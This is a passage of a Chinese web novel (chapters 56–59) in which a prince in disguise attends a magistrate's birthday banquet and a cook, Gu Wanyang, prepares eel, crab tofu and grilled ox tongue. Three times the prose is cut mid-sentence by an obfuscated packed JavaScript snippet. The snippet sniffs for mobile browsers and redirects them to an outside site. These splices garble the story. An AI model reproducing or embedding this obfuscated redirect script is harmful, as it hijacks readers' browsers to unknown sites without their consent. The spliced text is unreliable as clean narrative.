叶县令一边抹着额头的汗，一边尽力跟上前面人的脚步，他见大管事带人到僻静的厢房，心中稍稍安定了下来。 “贵客请里边歇息。”大管事在厢房门口停了下来，说道。 李瑾修抬头一瞧，皱眉道：“先带我去厨房，我要给顾大厨送东西。” “啊？什么？”许兆恒脱口而出，他怎么听不懂这位爷在说什么。 “我要去厨房。”李瑾修不耐地重复道。 “去，去，现在就去。”许兆恒立马说道：“我陪您去。” “不用，随便找个人给我带路就行了。”李瑾修说道。 “好好，叶县令，你去带路。”许兆恒转头对着叶县令说道。 叶县令一愣，李瑾修摆摆手，随即随手一指，对着守在厢房门口的一个年纪较大的家仆说道：“你，带路，去大厨房。” 家仆惊慌地看向叶县令，叶县令赶紧说道：“还不快去带路，去完大厨房记得再带贵客到此处来。” 见叶县令发话了，家仆忙引路：“贵客，请跟我这边走。” 许兆恒对着李瑾修离开的背影虔诚弯腰行拱手礼，叶县令也跟着照做。 李瑾修一边跟着家仆走，一边打量叶府的环境，这县令府可真够大的，走了半天还没到。 终于，家仆在一座院子前停下了脚步，推开门说道：“贵客请，这里就是叶府的大厨房了。” “诶？成叔，你怎么来这了？老爷可有什么特别的吩咐？”辛管事见老爷身边伺候的成叔突然来了，赶紧满脸堆笑地迎了上来。 “老爷吩咐我带这位贵客来大厨房。”成叔对辛管事说道。 “哦？这位贵客，您有何吩咐？”辛管事没想到来参加寿宴的贵客居然亲自来大厨房，于是转身问向李瑾修。 “随心小食肆的顾大厨在哪间厨房？”李瑾修没工夫跟他客套，直接问道。 辛管事上下打量了一下李瑾修，见他衣着普通，又在问顾大厨在哪，虽吃不准他身份，但还是殷勤地说道：“我带您过去。” 李瑾修跟着辛管事来到一间小厨房门口，打眼往里一瞧，就见到顾宛央和小桃正坐着剔蟹粉呢，心想还好来得及，不由喊了一声：“宛央。” 顾宛央正专心干活，猛然听到李瑾修的声音，以为自己出现幻觉了，便摇了摇脑袋没有抬头继续干活。 “咦，瑾修哥，你怎么来了。”小桃却是抬头看向声音的来处，有些惊讶地问道。 顾宛央也抬起头来，果然是李瑾修正站在厨房门口微笑地看着自己。 “你怎么来了？食肆出什么事了？”顾宛央忙不迭站起来，跑到厨房门口紧张地问道。 “没事，没事，你别急啊。”李瑾修一看顾宛央误会了，赶紧掏出那个小白瓶子说道：“我是给你们送这个来的，看看是不是拿错了。” “哎呀，是我拿错了。”小桃将带来的白瓶子盖子打开闻了一下，拍着脑袋说道。 “小丫头你太粗心了，还好我发现得及时，给送了过来，万一都没发现，搞砸了你宛央姐的事情怎么办！”李瑾修将白瓶子递给小桃，嘴里唠叨着。 小桃自知是自己的错，赶紧接了过来，说道：“还好有瑾修哥在，宛央姐，对不起。” “以后做事情仔细一些，别着急忙慌的。”顾宛央见事情并没出现不可弥补的过错，也就简单说了两句。 “好了，不耽误你们的时间，我先走了。”李瑾修见事情解决，也怕影响顾宛央她们干活，便说了一声就走了。 辛管事自以为了解了情况，原来是随心小食肆的人，脸上的笑容就没那么灿烂了，不过还是算客气地带他出了厨房，交给了成叔。 李瑾修被成叔重新带回到了厢房，原本李瑾修想直接离开叶府的，但想着今日也多亏了许兆恒在，这事才能圆满解决，怎么地也得打个招呼再说。 许兆恒见李瑾修回来了，赶紧请他进了厢房，他让叶县令把家仆管事统统赶了出去离得远远的，原本他连叶县令都想赶出去的，但想到这是人家的地盘，总是有鸠占鹊巢之嫌，又看李瑾修也没硬要叶县令离开的意思，所以也就没再多说什么，房内现在只剩李瑾修、许兆恒和叶县令三人。 李瑾修整了整衣裳，坐到上座，端起叶县令吩咐人泡的好茶，吹了吹喝一口。 许兆恒拉着叶县令跪了下来，口中说道：“许兆恒见过东靖王殿下。” 叶县令在一旁身子抖了抖，他想过此人身份尊贵，但没想到如此尊贵，想起刚刚在大门口派人轰他的场景，叶县令的汗顿时从额头边渗了下来，头趴的更低了。 “许侍郎年事已高，坐着说话吧。”李瑾修抬了一下手说道。 “多谢殿下。”许兆恒有些费劲地爬起来，坐到了下首的椅子上。 叶县令没敢动，依旧老老实实地跪着，不过嘴里还是赶紧请罪：“刚才下官有眼无珠，怠慢了殿下，恳请殿下降罪。” 李瑾修慢慢地喝着茶说道：“这茶还不错。” “这是今年新茶，殿下若是爱喝，下官吩咐人给您送去。”叶县令立马说道。 “算了，你也起来吧，我没亮明身份，不知者不罪。”李瑾修挥了挥手，又补充道：“你夫人眼光不错，请了随心小食肆的顾大厨来掌勺。” 叶县令听到李瑾修的话，小眼睛一转，这位王爷今天来叶府是找顾大厨的，看样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020356|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子他跟顾大厨颇有渊源，于是嘴一张就夸开了：“殿下谬赞拙荆了，实在是顾大厨声名在外，全齐中县哪个不知谁人不晓啊。” 旁人夸了顾宛央，李瑾修听了比夸自己还受用，指着下首另一张椅子说道：“你也坐吧。” “多谢殿下宽宏大量。”叶县令一边坐下一边抹着额头上的汗珠，他这县令小官莫说见不到皇亲贵族，就连京都也是进不去的，如今能见着当今皇后嫡出的小儿子，他真是走了大运出息了。 “我的身份只有你俩知晓，务必保密。”李瑾修吩咐道。 “是，是，下官/老朽知晓。”叶县令和许兆恒同时说道。 “殿下，下官斗胆，今日寿宴能否请殿下赏脸参加？”叶县令小心翼翼地开口询问，这要是东靖王参加了自己老父亲的寿宴，他可以吹一辈子。 李瑾修沉吟不语，他倒是很想参加的，不为别的，就为了顾宛央做的那三道菜。 “是啊，殿下，若是无别的事，一起热闹一下。”许兆恒虽然致仕了，但家中小辈们却还有在朝中为官的，虽说东靖王只是皇后的第三子，皇位是轮不上的，但毕竟他是父母兄长捧在手心长大的，若是能跟东靖王攀上些关系，肯定是大有好处的。 “行吧，那本王就凑个热闹，寿礼改日补上。”李瑾修说道。 “哎哟，殿下若能参加那是叶某无上的荣幸，寿礼什么的都不重要，不重要。”叶县令赶紧站起来行礼，寿礼有什么重要的，重要的是这位爷。 “对外就说，我家中长辈与许侍郎有旧谊，碰巧今日遇见所以一起参加寿宴，我称许侍郎为许翁，你们可称呼我为三郎。”李瑾修说道。 “是，殿下。”许兆恒和叶县令自然不敢有异议，一一应下。 “对了，请顾大厨先上那三道菜，请她做完菜，也入席一同参加寿宴。”李瑾修说道。 许兆恒和叶县令对视了一眼，这是什么要求？ “怎么？叶县令不方便安排？”李瑾修眉头一皱，问道。 “不不，方便，方便，今日也有女眷的坐席，请顾大厨一起入席即可。”叶县令连忙说道，不就是增加一个座位，能让东靖王开口的人，就算是个厨子那也是贵人，没什么不能安排的。 李瑾修这才点点头表示满意。 “殿下，需要安排人伺候您沐浴更衣吗？府里有新做的成衣，我派人取来给殿下换上。”叶县令看着李瑾修普通的衣裳，不由脱口而出。 许兆恒想拉都没拉住，李瑾修看了看自己身上的衣裳，这是宛央陪他一同去成衣铺子买的，他可不换！ “不用，若是嫌我衣着不够光鲜，我不参加就是。”李瑾修硬邦邦地扔了一句出去。 “不敢不敢。”叶县令反应过来自己说错话了，他脑子昏掉了居然去管人家穿什么衣服，他就是穿乞丐的衣服，那也是贵人。 “殿下先在此稍事休息，等开席了，我们再来请您。”许兆恒一边说话，一边拉着叶县令慢慢退了出去。 57. 第 57 章 小厨房里的顾宛央全然不知李瑾修那边的情况，桌上的螃蟹已经快拆完了，辛管事把李瑾修送出去后返回来，对顾宛央说道：“顾大厨，时间差不多了，你的第一道菜可以开始做了，做好会有人来端出去上菜的。” “知道了，辛管事，这就开始做。”顾宛央答道，这还挺好的，有厨房管事提醒何时可以做菜，否则厨房里的厨子不了解外头的情况，特别像这种大的家宴，上菜品的顺序也都是有讲究的，厨子也分了好几个，不是一个大厨掌勺，所以厨房管事的安排显得尤为重要。 三道菜都已经备好菜，按顺序开始做就行。 顾宛央第一道要做的是干烧鳝鱼，她吩咐小桃将灶火烧旺，在锅中倒入宽油，油烧热之后，将准备好的鳝段倒入锅中过油煎炸，炸过的鳝段既能外焦内嫩、去腥增香，又可稳定形状不会炒散。 鳝段在热油中翻滚，等到香气渐渐散发出来，顾宛央用锅铲翻转几次鳝段后便盛了出来。 锅中留下底油，把姜蒜末和小米椒放入锅中煸炒出香味，再将刚刚煎炸好的鳝段重下下锅，加入盐和酱油与配料一起翻炒，最后加入芹菜段、蒜叶入锅，与鳝段一起翻炒断生，就可以出锅了。 刚刚出锅的干烧鳝鱼香气扑鼻，盘中酱色的鳝鱼、翠绿的芹菜和蒜叶、红色的小米椒混合在一起卖相十分漂亮，小桃不由自主咽了一口口水。 顾宛央笑着说道：“嘴馋了？下次专门给你做了吃。” 小桃使劲点头，今天是没口福了，不过有了下次这个希望，她能等得起。 “哎哟，顾大厨，第一道菜这么快炒好啦，我正想过来跟你说呢，第二道菜和地三道菜接着继续做，不用等。”辛管事急匆匆地跑了进来通知道。 “什么？不是说三道菜会分开上吗？现在全部一起上？”顾宛央有些诧异，一开始被安排的是在宴席开始、中间和结尾各上一道菜的，现在怎么有变化了。 “对，我也是刚刚接到的通知。”辛管事点头说道。 “这是为何？”顾宛央不明所以。 “我也不清楚，既然是外头让咱们厨房这样做，那照做就行了，不用问为什么。”辛管事不知道原因，他也不想知道，谁知道又是哪位老爷哪位夫人或是哪位公子突发奇想出来的，对于自己来说，永远是计划没有变化快，他也懒得多想。 “是。”顾宛央不知道原因，看样子也问不出来，但既然她是来这里干活的，那人家让她咋做就咋做了，反正菜都备好了，最好能一股脑全部做完，早点结束早点休息也好。 “小桃，继续烧火，不要停。”顾宛央转头吩咐小桃，原本想着没这么快做第二道菜，已经让小桃熄了灶火，这么贵的果木柴也能省一些。 “好嘞。”小桃脆生应着，手上的活又接上了。 第二道菜是蟹粉豆腐，这道菜麻烦在拆蟹粉上，现在蟹粉已经都拆好了，直接做就行。 豆腐切成块下入锅中先焯水，去掉豆腥味，接着起锅烧油，将葱姜沫放入热油中爆香，接着便下入拆好的蟹粉，将蟹粉炒香。 “天哪，这螃蟹肉炒起来这么香吗。”小桃一边看着灶火，一边盯着锅中炒出黄油的蟹粉。 “那是当然，别小看这么一小碗蟹粉，非常非常的鲜美。”顾宛央一边炒着蟹粉一边说道，说实话蟹粉真的很香，若是能单独吃上这一碗，眉毛都能鲜的掉下来。 顾宛央见蟹粉炒的差不多后，往锅中加入清水煮开，再把焯过的豆腐小心地滑入锅中。 柔嫩的豆腐在火力的攻击下，慢慢与黄油蟹粉融为一体，顾宛央用锅铲小心地滑铲几下，使得蟹粉和豆腐融合得更加紧密，再加入些许盐就够了。 出锅的蟹粉豆腐嫩白鲜黄煞是好看，轻轻一动，嫩白的豆腐便颤颤巍巍地抖动起来。 第二道菜被端走后，顾宛央开始制作最后一道也是最复杂的炙烤牛舌。 顾宛央将烤板架在灶台上，把腌制入味的牛舌端了过来，吩咐小桃将灶火调成中小火。 厚薄适中的牛舌片与炙热的铁板一接触，顿时发出滋啦滋啦的声音出来，恰到好处的温度使得牛舌慢慢地开始改变形状。 当牛舌的一面已经烤的微焦，顾宛央迅速换了一面继续炙烤，直至两面都煎成外焦里嫩，便可以装盘了。 顾宛央将李瑾修送过来的小瓶子打开，往小碟中倒入蘸酱料，这是她精心调制的酱料，若是没有这个辅助，估计牛舌味道要逊色一半。 顾宛央在厨房奋起做饭，李瑾修也被成叔请到了宴席的大厅，原本许兆恒和叶县令要亲自来请的，被李瑾修直接拒绝，再三强调让他俩低调行事，把自己当成普通的故人之子就行了。 许兆恒和叶县令自然是答应的好好的，但都很伤脑筋，这分寸实在不好拿捏啊，只能见机行事了。 李瑾修跟着成叔走了好一会路，这才到了宴席的大厅，在门口处就听得一个又熟悉又令人头痛的声音：“弟弟？你也在此？宛央姑娘呢？” 李瑾修忍了半天终于忍住了想要出拳的手，转头看向崔士忠那张惊喜的脸，咬着牙道：“我说过，不要叫我弟弟，我不是你弟弟。” “你也是来这里参加寿宴的？还是来给宛央姑娘帮忙的？”崔士忠往李瑾修身后瞧了又瞧，没见到那熟悉的身影，顿时有些失落。 “你少管。”李瑾修没好气地说道。 “崔公子，这位爷是参加寿宴的。”成叔在一旁及时说道。 “哦？你是来参加寿宴的，难道是宛央姑娘提的附带条件？”崔士忠喃喃自语。 “什么啊？什么附带条件？”李瑾修皱着眉头问道。 “就是她来为叶府老爷子寿宴做大厨，条件是让你来吃饭呀。”崔士忠说道。 “我呸，叶府的寿宴有什么好吃的，要不是能吃到宛央做的三道菜， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025256|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我才不来呢。”李瑾修嫌弃地说道，他能留下来吃饭，全是因为想吃宛央做的菜。 成叔在一旁眼观鼻，鼻观心，这二位要唠到何时去，他作为一个家仆也不好打断贵客们的话。 “三郎，三郎。”许兆恒在不远处的主桌招手道，他今日的心思都被李瑾修给搅乱了，他虽已入座主位，但眼睛一直往门口瞟，生怕怠慢了这位贵人，这不一眼没往门口瞧，就见这位贵人与人好像发生了不愉快。 “贵客，许大人在那边招呼您呢，喏，就在那边。”成叔趁机开口说道。 “咦，你居然与许大人认识？”崔士忠诧异地问道。 李瑾修“哼”了一声，道了一声“借过”，直接无视崔士忠的问题，往许兆恒那边走了过去。 许兆恒和叶县令见李瑾修过来，赶紧站了起来，同为主桌的人不明所以，也纷纷跟着站起来。 见许兆恒和叶县令迎接的是一个普通穿着的年轻人，大家更加疑惑，交头接耳问这是谁，怎么没见过，怎么两位大人对这人如此客气。 “咦，瑾修？”徐工师见过李瑾修，不由地开口喊道。 许兆恒和叶县令听见徐工师叫李瑾修的名字，两人吓了一跳，连忙想打断徐工师，许兆恒用更大的声音说道：“三郎，过来，来这边坐。” 李瑾修见徐工师喊他，没理会许兆恒的让座，反而是转身给徐工师行了一礼喊道：“徐工师。” “你，你这是？”徐工师有些疑惑，叶县令老爷子的寿宴，这小伙子怎么来了，虽然顾姑娘被叶夫人请来掌厨，但他也没有出现在这里的道理。 “诸位，是这样的，这位三郎家中的长辈与我有旧谊，今日正巧碰见，就请他一同来参加寿宴，也好沾沾喜气。”许兆恒说道。 “原来如此。” “是许大人旧友的孩子啊。” “那真是凑巧，有缘分碰上呢。” 崔士忠在一旁也听得仔细，原来他与许大人真的认识，他就说宛央姑娘怎么可能提这种交换条件嘛。 咦，那也就是说宛央姑娘也与许大人认识的，不知道等会她会不会来参加寿宴呢，这样想着，崔士忠忍不住往宴厅的门口瞧去。 不过人没瞧见，倒是瞧见已经开始上起菜来，叶府的大管事带着一众丫鬟端上第一道热菜。 “各位贵客，今日欢迎大家来参加我的老父亲七十寿辰，我先代表父亲敬大家。”叶县令作为宴席的主人，此时站起来开席。 众人纷纷端起酒杯，一饮而尽杯中酒，叶县令接着又说道：“今天前三道菜是请了随心小食肆顾大厨掌勺，第一道是干烧黄鳝已经上桌，我就不多说什么了，大家一起品尝。” 听到顾大厨的名字，参加宴席的客人脸上露出欣喜之色，虽然有小部分人是知道的，但大部分人还是不知情，如今一听能吃的随心小食肆大厨做的菜，都迫不及待地想要品尝一番了。 58. 第 58 章 李瑾修没理会叶县令说的什么，他早已被桌上这道干烧黄鳝吸引了目光,其他宾客也都盯着桌上的这道菜，对于叶县令的敬酒词满是敷衍的态度，都想着怎么还没有说完呢。 叶县令今日请到了许兆恒已经是达到寿宴的目的，却没曾想更是来了个王爷，这可比致仕了的礼部侍郎可要重要的多了，顿时看向老父亲的眼神温柔了许多，这老头可真是大福星。 听到叶县令最后一句请大家品尝，所有人的筷子几乎同时都动了起来，一点都没有酒席上的那些客套和谦让。 别人可以自己夹菜吃，叶县令和许兆恒却是不敢给自己夹菜，两人同时夹了一筷子干烧黄鳝放到李瑾修的碗里。 “你们自己吃，不用管我。”李瑾修只来得及说这句话，接下来便是不肯开口了。 李瑾修将自己筷子上的一口黄鳝放进嘴里，顿时觉得留下来的决定是非常正确的，黄鳝肉质细嫩、口感润滑并且有筋道弹性，加上芹菜段的脆爽清甜，给这道菜增添了更加丰富的口味。 李瑾修也没少吃过黄鳝，这道菜还是他推荐顾宛央做的，平时吃到的有红烧、做汤甚至清蒸，但这种干烧的做法他还是第一次吃，经过高温油炸的黄鳝表面变得焦脆，但内里却是柔嫩多汁，一口吃下去非常满足。 许兆恒在酒席上有些心不在焉，毕竟面对着皇室的贵人，他担心李瑾修吃得不满意或者其他地方哪怕有一丝的不开心，但他看着李瑾修在吃完第一口干烧黄鳝后，脸上的神色非常满意，一口接着一口地吃着菜，于是一颗悬着的心稍稍放了一些下来，他拿起筷子也夹了一口黄鳝吃进嘴里。 哦？这是黄鳝的味道吗？许兆恒吃进去的第一反应是仔细分辨了一下面前的这道菜，没错，就是黄鳝，在得到印证后，许兆恒脸上的表情渐渐变得放松起来。 怪不得大家都埋头苦吃，这道黄鳝做的确实非常好吃，许兆恒其实并不是特别爱吃黄鳝，但京都贵人都以吃黄鳝为尊，他也就凑着趣吃一些，就是打心底也没觉着有多好吃。 但今天这道干烧黄鳝颠覆了他的想法，焦脆柔嫩的口感，恰到好处的调味，再加上芹菜蒜叶的辅助，使得这道干烧黄鳝不仅香气十足，口感也是咸鲜味美，他不由地再次将筷子伸向这道菜。 叶县令其实今日并不在意吃什么，宴席的菜品都是夫人一手安排的，夫人的品味他一向放心，只要给她足够的银两操办，她肯定不会让自己面子有失的，只不过招待许兆恒他是有把握，但今天来了个比许兆恒身份更尊贵的贵人，他的心中其实是忐忑的，生怕这位贵人一个不满意就拂袖而去。 但看样子，今天第一道菜就把这位贵人给征服了，叶县令无心吃菜，只是掩饰般地喝着茶，一双眼睛不停往李瑾修脸上瞧，见他吃得非常畅快，才不由地擦了擦额头的汗。 亏得今天夫人请了那个最近爆火的小食肆大厨，刚才他已经火速地让人打听过了，这位贵人居然是随心小食肆的老板之一，这些天潢贵胄也不知一天天在想些什么，锦衣玉食的王爷不要做，跑来这里做个小铺子的老板，天天还帮着干活。 叶县令胡思乱想了一通过后，正想伸出筷子去夹黄鳝吃，只见盘子已经空空如也，干净地仿佛没上过这道菜。他伸出去的筷子停在半空中，还好他反应机敏，转了个圈，落在了旁边的凉菜上面，随便夹了一筷子凉菜，慢慢吃了起来。 把第一道热菜消灭干净的人们，筷子放了下来，都在期待第二道菜的上桌。 徐工师坐在李瑾修的右边第三个座位，大家放下筷子在休息，整桌的人都开始有礼有节地闲聊起来，徐工师的眼神对上了李瑾修，他有些疑惑地问道：“瑾修，你和令姐不是从南边过来的流民吗，为何认得许大人呢？” 许兆恒的脑瓜子嗡地一声，叶县令原本握着茶杯的手一个没拿稳，茶水晃了出来。 在许兆恒拼命转动这老脑瓜子的时候，在叶县令差点就喝出声让徐工师别多问的时候，李瑾修不紧不慢地开了口：“实不相瞒，我是宛央的义弟，并不是跟宛央一起从南边来的，我们是在这齐中县遇上的，此间是有些机缘巧合的。” 许兆恒和叶县令同时松了一口气，徐工师点点头说道：“原来如此，不过我看你俩倒是很像亲姐弟，气质神态如出一辙，像是一个家中出来的。” 许兆恒和叶县令的拳头又开始握紧了，许兆恒对着叶县令瞪了瞪老眼，叶县令对着徐工师咬了咬牙齿。 “说起来，还得多谢徐工师前段时间让我住在文庙中，可真是帮了我的大忙了。”李瑾修端起酒杯态度诚恳地说道。 “瑾修客气了，是顾姑娘提出的要求，那时也算是她帮了我的大忙，让你住在文庙这种小事不足挂齿。”徐工师也端起酒杯摆了摆手说道。 叶县令见此情形，也不好开口让徐工师别多说话，毕竟这种交流对于不知情的人来说，再正常不过了，好在看李瑾修也没有一丝生气的意思，反而对徐工师还是很尊敬，叶县令默默地喝起了茶。 “哦？这位就是你说的顾姑娘弟弟？”鲁工师的视线从原先寒暄的人脸上，转了过来。 许兆恒和叶县令的心又提到了嗓子眼，一个徐工师说完了，这个鲁工师又开始了。 “是啊，鲁工师你也是见过顾姑娘的，你看他俩是不是比亲姐弟还像亲的。”徐工师拉着鲁工师来分辨。 鲁工师上下打量了李瑾修一番，点着头说道：“嗯，确实像，虽然容貌不似，但就像你说的气质神态确实很像。” 许兆恒偷偷打量李瑾修，见他非但没有不开心，反而脸上神色飞扬，仿佛在让鲁工师和徐工师会说就多说点。 一桌人的目光都集中到了李瑾修身上，崔县丞也来凑热闹：“刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029245|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚听许大人喊你三郎对吧？” “正是。”李瑾修点点头，叶县令见他不认识，便在耳边悄声告诉他这是崔县丞。 哦？崔县丞，这不是崔士忠的父亲嘛，李瑾修的脸色忽然有些暗沉下来，许兆恒和叶县令是混迹官场几十年的人了，就这一点点变化，让他俩的心又悬了起来，这又是哪里惹得这位爷不高兴了！ “三郎现在为何营生？”崔县丞倒是没有感觉到李瑾修的小变化，崔士忠之所以正直不够圆滑，也是遗传了他老子的基因。 “没什么营生，只不过与义姐经营了随心小食肆而已。”李瑾修淡淡地说道。 “哦？那不错啊，据说最近随心小食肆名声在外，若想吃顿饭得排好久的队才行，我儿士忠在家中一直提及说顾大厨手艺非凡，今日一尝果然名不虚传。”崔县丞是真心的夸赞。 见崔县丞真诚夸赞，李瑾修原本暗沉的脸色好看了许多，不管怎样，有人夸赞顾宛央，他还是非常高兴的。 许兆恒和叶县令见李瑾修又开心了起来，不约而同地抹了把汗，心中暗自祈祷这些在座的人可别乱搭讪了。 “第二道菜，蟹粉豆腐。” 还好第二道菜及时上桌了，这让全桌人都闭上了嘴，眼睛直盯着这道黄白相间散发着十足香气的菜品。 “大家请品尝，这也是顾大厨所做的菜品。”叶县令简单地介绍了一下，带头用勺子舀了一勺放在自己面前的小碗里。 刚才就没尝到那道干烧黄鳝，这道蟹粉豆腐说啥也得第一个尝一尝。 叶县令拿起勺子吹了吹，刚刚出锅的蟹粉豆腐还冒着热气，热气带着香气直钻入脑海里，这让他咽了一口口水，好奇怪，他多久都没有什么食欲了，还以为是自己年纪大了，对美食都没什么兴趣了，原来是没遇上真正的美味。 吹到温度适宜，叶县令迫不及待地尝了一口，天哪，果然是人间美味，滑嫩的豆腐裹着鲜美无比的蟹黄，吃进嘴里后味蕾得到极大的满足，根本不用牙齿咬，直接一抿便滑入了腹中，只在口中剩下鲜美。 妙哉，怪不得都在说随心小食肆的菜好吃，这一尝果然如此，叶县令忍不住又舀了一大勺到自己碗里，准备再细细品尝一番。 许兆恒的牙口已经不如以前了，但今天第一道菜他吃起来毫无障碍，更别提眼前的豆腐了，他本想先给李瑾修舀一勺，但发现他速度飞快地已经吃上了，于是自己舀了一勺蟹粉豆腐吃起来。 豆腐对于他这样年纪的老人家来说，是非常适合的，特别是裹着蟹粉的豆腐，这一口下去仿佛吃了好多只螃蟹一般，豆腐滑嫩根本不用牙。 没过一会，一大碗蟹粉豆腐便已见底，李瑾修看着自己小碗里最后一口蟹粉豆腐，居然有些舍不得下嘴了，终于，他吃完了最后一勺蟹粉豆腐，咸鲜味美的口感萦绕在口中久久不能散去。 59. 第 59 章 顾宛央在小厨房中将最后一道炙烤牛舌做完，仔细地装盘，将蘸料倒在小碟中，置于大盘子的尾端，方便蘸取。 辛管事见到小厨房桌上摆放的炙烤牛舌，忍不住咽了一口口水，这得多好吃啊，不过他自知没有口福吃上这道菜，轻咳了一声说正事：“顾大厨，三道菜已经做完了，夫人请您至宴厅。” 顾宛央听了辛管事的话并没有惊讶，一般若是掌勺大厨做的菜符合宴席客人的口味，是会被请至宴厅与客人见面，主家也会额外赏赐，以显示对大厨的认可和感谢。 “辛管事稍候，我收拾一下就跟你过去。”顾宛央将围裙头巾摘下，整理了一下衣裳和头发说道。 “不着急，我在外边候着您。”辛管事见状识相地转身出了小厨房。 “宛央姐，我在这里等你回来。”小桃帮着顾宛央整理衣裳和头发。 顾宛央点点头，说道：“嗯，等我一起回家。” 辛管事引着顾宛央从小厨房走到宴厅这段路的时候，烤牛舌已经上桌。 牛肉精贵，牛舌更是少之又少，今日来参加宴席的宾客虽都是县里官员以及家属居多，但对于牛舌这道菜并不多见，尤其是品相摆盘都如此漂亮的牛舌，大家的注意力全都集中到了这个大盘子上。 牛舌对于李瑾修来说并不少见，平日里也经常能吃到这个食材，左不过是炒、炸、烧之类的做法，今天顾宛央做的这道炙烤牛舌，他以前也是吃到过的。 李瑾修的目光没有盯着牛舌，反而是对大盘子边上的那味小碟很有兴趣，他是亲眼看着顾宛央花了好些天的功夫做出来的蘸酱，据说蘸了这个酱料的牛舌，会比普通炙烤牛舌美味得多，这也是为什么他一定要亲手把这个蘸料交给顾宛央的原因。 炙烤牛舌的大盘放在宴桌的最中央，叶夫人看着这道大菜，不由感叹这道菜本是压轴大菜，但贵人说要请顾大厨早些做完早些坐下来一起吃，所以不得已就提前上桌，只是这道大菜吃完以后，后面的那些菜估计就入不了宾客的口了。 叶夫人是有遗憾的，本来这次宴席她安排的明明白白，顾大厨的三道菜分别前、中、后三个时间段上，这样一来不会太集中，大家每吃一道菜都有所盼头，直至最后一道大菜炙烤牛舌上桌，吃完后皆大欢喜，完美结束宴席。 但计划赶不上变化，老爷说今天来了位无比尊贵的贵客，虽然老爷并没有具体说明他的身份，但以她多年对老爷的认知，看他对贵客的态度，可以肯定这位贵客必定是跟皇室沾亲带故的，可巧这位贵客又是随心小食肆的老板之一，想让顾大厨赶紧做完三道菜坐下来一起参加宴席，这肯定得随了贵客心意才行，毕竟今年办的这场寿宴，本就是为了让许兆恒满意，现在有比许兆恒更尊贵的客人，那让贵客满意就是上上等的大事了。 想到此，叶夫人不由看向主桌的那位衣着普通的年轻人，见许兆恒和叶县令都张罗着给他倒茶夹菜，叶夫人原本遗憾的心思瞬间就平衡了，一切以大局为重！ 前面的干烧黄鳝和蟹粉豆腐得到了整个宴厅客人的好评，叶夫人打眼望过去，每桌上的这两道菜盘子都是空的，真的是吃的一点都不剩，请客的主家看到客人爱吃自家准备的菜品，那自然是十分的高兴的。 看着端上桌还冒着热气的炙烤牛舌，叶夫人满脸笑容地给同桌的女眷介绍：“这道炙烤牛舌是顾大厨拿手的主菜，为了做这道大菜，我可是没少花心思，这牛舌可是太难觅了，还是从京都托人专程送过来的。” “叶夫人真的是费心了。” “是啊，全城里谁不知叶县令和叶夫人是顶顶孝顺的。” “就是，为了公爹七十大寿的寿辰，叶夫人这段时间多辛苦，你看都瘦了一圈了。” “我今儿过来的时候，看到衙门大街在布施，大家都交头称赞夫人大孝呢。” 叶夫人听着各位女眷恭维的话语，脸上抑制不住的笑意，但嘴里还是谦虚地说道：“要说大孝，是非我家老爷莫属，叶家百年来的基业都靠一个孝字，当今圣上也是靠孝义治天下，我们做的还不够，还得多加努力啊。” “叶夫人谦虚了。” “叶家要是做的还不够，那我们可咋办呢。” “是啊，我们要多向叶县令、叶夫人学习才是。” 叶夫人又得到一众人的彩虹屁，脸上的褶子仿佛都满是笑意。 “好了好了，你们也别夸我了，快吃这道主菜吧，不然一会都凉了。”叶夫人说道。 诸位女眷早就等着这句话了，看旁边男人的桌上牛舌都已经下去一大半了，就叶夫人主事的这桌还没动呢。 叶夫人先动手夹了一块牛舌，在蘸料的小碟中蘸了蘸，咬了一小口。众人看到叶夫人这样的吃法，也学着她纷纷吃了起来。 外焦里嫩的牛舌蘸上酱料，一入口便让叶夫人惊到了，牛舌虽然她吃的不多，但也算是吃过几回，好像从没像今天这么好吃过，牛舌吃到嘴里居然会爆汁，一点腥味都没有，反而满是鲜香的味道。 这个酱料也是从来没吃到过的，鲜甜的口感，配上烤好的牛舌，层次分明口感丰富，简直是绝配。 鲁夫人坐在叶夫人的旁边，这是她第一次吃顾宛央做的菜，前面两道菜她吃的非常满足，也重新刷新了对于好吃的概念，平日她下馆子就很少，总是自己在家做着吃，看样子回头得带着一家老小去随心小食肆吃上一顿。 牛舌她是从未吃到过的，本来想着牛舌的样子会不会比较恐怖，但看到桌上那个大盘子上装的牛舌，心里顿时放心了，一点都不恐怖，甚至让人一瞧就有了食欲。 鲁夫人学着叶夫人的样子，夹了一块牛舌蘸上酱料，轻轻地放入口中，她微闭着双眸，一口咬了下去，让她意外的是满嘴的汁水居然爆了开来，外皮是焦脆的，两种不同的口感同时在嘴里出现，让她感到非常新 